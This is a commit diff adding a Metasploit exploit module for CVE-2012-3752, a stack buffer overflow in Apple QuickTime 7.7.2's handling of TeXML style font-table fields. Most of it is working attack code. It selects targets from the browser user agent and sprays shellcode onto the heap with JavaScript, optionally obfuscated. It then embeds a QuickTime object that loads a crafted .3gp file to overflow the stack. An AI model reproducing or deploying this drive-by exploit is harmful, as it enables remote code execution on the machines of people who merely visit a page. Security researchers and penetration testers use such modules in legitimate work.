1
+ ##
2
+ # This file is part of the Metasploit Framework and may be subject to
3
+ # redistribution and commercial restrictions. Please see the Metasploit
4
+ # web site for more information on licensing and terms of use.
5
+ # http://metasploit.com/
6
+ ##
7
+
8
+ require 'msf/core'
9
+
10
+ class Metasploit3 < Msf ::Exploit ::Remote
11
+ Rank = NormalRanking
12
+
13
+ include Msf ::Exploit ::Remote ::HttpServer ::HTML
14
+
15
+ include Msf ::Exploit ::Remote ::BrowserAutopwn
16
+ autopwn_info ( {
17
+ :os_name => OperatingSystems ::WINDOWS ,
18
+ :javascript => true ,
19
+ :rank => NormalRanking
20
+ } )
21
+
22
+ def initialize ( info = { } )
23
+ super ( update_info ( info ,
24
+ 'Name' => 'Apple QuickTime 7.7.2 TeXML Style Element font-table Field Stack Buffer Overflow' ,
25
+ 'Description' => %q{
26
+ This module exploits a vulnerability found in Apple QuickTime. When handling
27
+ a TeXML file, it is possible to trigger a stack-based buffer overflow, and then
28
+ gain arbitrary code execution under the context of the user. This is due to the
29
+ QuickTime3GPP.gtx component not handling certain Style subfields properly, as the
30
+ font-table field, which is used to trigger the overflow in this module. Because of
31
+ QuickTime restrictions when handling font-table fields, only 0x31-0x39 bytes can be
32
+ used to overflow, so at the moment DEP/ASLR bypass hasn't been provided. The module
33
+ has been tested successfully on IE6 and IE7 browsers (Windows XP and Vista).
34
+ } ,
35
+ 'Author' =>
36
+ [
37
+ 'Arezou Hosseinzad-Amirkhizi' , # Vulnerability Discovery
38
+ 'juan vazquez' # Metasploit Module
39
+ ] ,
40
+ 'License' => MSF_LICENSE ,
41
+ 'References' =>
42
+ [
43
+ [ 'OSVDB' , '87087' ] ,
44
+ [ 'CVE' , '2012-3752' ] ,
45
+ [ 'BID' , '56557' ] ,
46
+ [ 'URL' , 'http://support.apple.com/kb/HT5581' ]
47
+ ] ,
48
+ 'DefaultOptions' =>
49
+ {
50
+ 'EXITFUNC' => 'process' ,
51
+ 'InitialAutoRunScript' => 'migrate -f'
52
+ } ,
53
+ 'Payload' =>
54
+ {
55
+ 'Space' => 1000 ,
56
+ } ,
57
+ 'Platform' => 'win' ,
58
+
59
+ 'Targets' =>
60
+ [
61
+ # Tested with QuickTime 7.7.2
62
+ [ 'Automatic' , { } ] ,
63
+ [ 'IE 6 on Windows XP SP3' , { } ] ,
64
+ [ 'Firefox 3.5 on Windows XP SP3' , { } ] ,
65
+ [ 'Firefox 3.5.1 on Windows XP SP3' , { } ]
66
+ ] ,
67
+ 'Privileged' => false ,
68
+ 'DisclosureDate' => 'Nov 07 2012' ,
69
+ 'DefaultTarget' => 0 ) )
70
+
71
+ register_options (
72
+ [
73
+ OptBool . new ( 'OBFUSCATE' , [ false , 'Enable JavaScript obfuscation' ] )
74
+ ] , self . class )
75
+ end
76
+
77
+ def get_target ( agent )
78
+ #If the user is already specified by the user, we'll just use that
79
+ return target if target . name != 'Automatic'
80
+
81
+ nt = agent . scan ( /Windows NT (\d \. \d )/ ) . flatten [ 0 ] || ''
82
+
83
+ browser_name = ""
84
+ if agent =~ /MSIE/
85
+ browser_version = agent . scan ( /MSIE (\d )/ ) . flatten [ 0 ] || ''
86
+ browser_name = "IE #{ browser_version } "
87
+ elsif agent =~ /Firefox\/ 3.5$/
88
+ browser_name = "Firefox 3.5 "
89
+ elsif agent =~ /Firefox\/ 3.5.1$/
90
+ browser_name = "Firefox 3.5.1"
91
+ elsif agent =~ /Opera\/ 9/
92
+ browser_name = "Opera"
93
+ end
94
+
95
+ case nt
96
+ when '5.1'
97
+ os_name = 'Windows XP SP3'
98
+ when '6.0'
99
+ os_name = 'Windows Vista'
100
+ when '6.1'
101
+ os_name = 'Windows 7'
102
+ end
103
+
104
+ targets . each do |t |
105
+ if ( !browser_name . empty? and t . name . include? ( browser_name ) ) and ( !nt . empty? and t . name . include? ( os_name ) )
106
+ print_status ( "Target selected as: #{ t . name } " )
107
+ return t
108
+ end
109
+ end
110
+
111
+ return nil
112
+ end
113
+
114
+
115
+ def on_request_uri ( client , request )
116
+
117
+ return if ( ( p = regenerate_payload ( client ) ) == nil )
118
+
119
+ agent = request . headers [ 'User-Agent' ]
120
+ my_target = get_target ( agent )
121
+ # Avoid the attack if no suitable target found
122
+ if my_target . nil?
123
+ print_error ( "Browser not supported, sending 404: #{ agent } " )
124
+ send_not_found ( cli )
125
+ return
126
+ end
127
+
128
+ if request . uri =~ /\. 3gp/
129
+ print_status ( "Sending exploit TEXML (target: #{ my_target . name } )" )
130
+
131
+ my_payload = "1" * ( 1024 *16 )
132
+
133
+ texml = <<-eos
134
+ <?xml version="1.0"?>
135
+ <?quicktime type="application/x-quicktime-texml"?>
136
+
137
+ <text3GTrack trackWidth="176.0" trackHeight="60.0" layer="1"
138
+ language="eng" timeScale="600"
139
+ transform="matrix(1.0, 0.0, 0.0, 0.0, 1.0, 0.0, 1, 0, 1.0)">
140
+ <sample duration="2400" keyframe="true">
141
+
142
+ <description format="tx3g" displayFlags="ScrollIn"
143
+ horizontalJustification="Left"
144
+ verticalJustification="Top"
145
+ backgroundColor="0%, 0%, 0%, 100%">
146
+
147
+ <defaultTextBox x="0" y="0" width="176" height="60"/>
148
+ <fontTable>
149
+ <font id="1" name="Times"/>
150
+ </fontTable>
151
+
152
+ <sharedStyles>
153
+ <style id="1">
154
+ {font-table: #{ my_payload } }
155
+ {font-style:normal}
156
+ {font-weight: normal}
157
+ {font-size: 10}
158
+ {line-height: 100%}
159
+ {text-align: right}
160
+ {text-decoration: underline}
161
+ {color: 100%, 100%, 100%, 100%}
162
+ {backgroundcolor: 100%, 100%, 100%, 100%}
163
+ </style>
164
+ </sharedStyles>
165
+ </description>
166
+
167
+ <sampleData scrollDelay="200"
168
+ highlightColor="25%, 45%, 65%, 100%"
169
+ targetEncoding="utf8">
170
+
171
+ <textBox x="10" y="10" width="156" height="40"/>
172
+ <text styleID="1">What you need... Metasploit!</text>
173
+ <highlight startMarker="1" endMarker="2"/>
174
+ <blink startMarker="3" endMarker="4"/>
175
+ </sampleData>
176
+ </sample>
177
+ </text3GTrack>
178
+ eos
179
+
180
+ send_response ( client , texml , { 'Content-Type' => "application/x-quicktime-texml" } )
181
+
182
+ else
183
+ print_status ( "Sending initial HTML" )
184
+
185
+ url = ( ( datastore [ 'SSL' ] ) ? "https://" : "http://" )
186
+ url << ( ( datastore [ 'SRVHOST' ] == '0.0.0.0' ) ? Rex ::Socket . source_address ( client . peerhost ) : datastore [ 'SRVHOST' ] )
187
+ url << ":" + datastore [ 'SRVPORT' ] . to_s
188
+ url << get_resource
189
+
190
+ fname = rand_text_alphanumeric ( 4 )
191
+
192
+ #ARCH used by the victim machine
193
+ arch = Rex ::Arch . endian ( my_target . arch )
194
+ nops = Rex ::Text . to_unescape ( "\x0c \x0c \x0c \x0c " , arch )
195
+ code = Rex ::Text . to_unescape ( payload . encoded , arch )
196
+
197
+ # Spray puts payload on 0x31313131
198
+ if my_target . name =~ /IE/
199
+ spray = <<-JS
200
+ var heap_obj = new heapLib.ie(0x20000);
201
+ var code = unescape("#{ code } ");
202
+ var nops = unescape("#{ nops } ");
203
+
204
+ while (nops.length < 0x80000) nops += nops;
205
+ var offset = nops.substring(0, 0x800 - code.length);
206
+ var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
207
+
208
+ while (shellcode.length < 0x40000) shellcode += shellcode;
209
+ var block = shellcode.substring(0, (0x80000-6)/2);
210
+
211
+ heap_obj.gc();
212
+ for (var i=0; i < 1600; i++) {
213
+ heap_obj.alloc(block);
214
+ }
215
+ JS
216
+
217
+ #Use heaplib
218
+ js_spray = heaplib ( spray )
219
+
220
+ #obfuscate on demand
221
+ if datastore [ 'OBFUSCATE' ]
222
+ js_spray = ::Rex ::Exploitation ::JSObfu . new ( js_spray )
223
+ js_spray . obfuscate
224
+ end
225
+ else
226
+ js_spray = <<-JS
227
+ var shellcode = unescape("#{ code } ");
228
+ var bigblock = unescape("#{ nops } ");
229
+ var headersize = 20;
230
+ var slackspace = headersize + shellcode.length;
231
+ while (bigblock.length < slackspace) bigblock += bigblock;
232
+ var fillblock = bigblock.substring(0,slackspace);
233
+ var block = bigblock.substring(0,bigblock.length - slackspace);
234
+ while (block.length + slackspace < 0x40000) block = block + block + fillblock;
235
+ var memory = new Array();
236
+ for (i = 0; i < 750; i++){ memory[i] = block + shellcode }
237
+ JS
238
+ end
239
+
240
+ content = "<html>"
241
+ content << <<-JSPRAY
242
+ <head>
243
+ <script>
244
+ #{ js_spray }
245
+ </script>
246
+ </head>
247
+ JSPRAY
248
+ content << "<body>"
249
+
250
+ content << <<-ENDEMBED
251
+ <OBJECT
252
+ CLASSID="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B"
253
+ WIDTH="1"
254
+ HEIGHT="1"
255
+ CODEBASE="http://www.apple.com/qtactivex/qtplugin.cab">
256
+ <PARAM name="SRC" VALUE = "#{ url } /#{ fname } .3gp">
257
+ <PARAM name="QTSRC" VALUE = "#{ url } /#{ fname } .3gp">
258
+ <PARAM name="AUTOPLAY" VALUE = "true" >
259
+ <PARAM name="TYPE" VALUE = "video/quicktime" >
260
+ <PARAM name="TARGET" VALUE = "myself" >
261
+ <EMBED
262
+ SRC = "#{ url } /#{ fname } .3gp"
263
+ QTSRC = "#{ url } /#{ fname } .3gp"
264
+ TARGET = "myself"
265
+ WIDTH = "1"
266
+ HEIGHT = "1"
267
+ AUTOPLAY = "true"
268
+ PLUGIN = "quicktimeplugin"
269
+ TYPE = "video/quicktime"
270
+ CACHE = "false"
271
+ PLUGINSPAGE= "http://www.apple.com/quicktime/download/" >
272
+ </EMBED>
273
+ </OBJECT>
274
+ ENDEMBED
275
+
276
+ content << "</body></html>"
277
+
278
+ send_response ( client , content , { 'Content-Type' => "text/html" } )
279
+ end
280
+ end
281
+
282
+ end
283
+
284
+
285
+ =begin
286
+ * Routine checking only for '1'-'9' chars for the vaules on the vulnerable style fields (font-table, font-size and line-height)
287
+
288
+ int __fastcall sub_67EED2B0(int a1, int a2)
289
+ {
290
+ int result; // eax@1
291
+ unsigned __int8 v3; // cl@2
292
+
293
+ for ( result = 0; ; ++result )
294
+ {
295
+ v3 = *(_BYTE *)a2++ - 0x30;
296
+ if ( v3 > 9u )
297
+ break;
298
+ }
299
+ return result;
300
+ }
301
+ =end
0 commit comments